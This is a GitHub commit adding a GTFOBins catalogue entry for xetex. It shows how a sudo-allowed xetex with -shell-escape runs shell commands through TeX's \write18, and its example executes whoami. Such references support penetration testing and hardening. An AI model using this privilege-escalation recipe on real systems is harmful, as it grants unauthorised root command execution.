Create xetex.md

xetex
This commit is contained in:
SynackCerv 2021-04-22 22:15:18 +02:00 committed by GitHub
parent 1e3f00a04f
commit 2972d25e23
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

5
_gtfobins/xetex.md Normal file
View File

@ -0,0 +1,5 @@
functions:
sudo:
- code: |
echo "\documentclass[12pt]{article} \begin{document} \immediate\write18{/usr/bin/whoami} \end{document}" > file.tex
sudo xetex -interaction=nonstopmode -shell-escape file.tex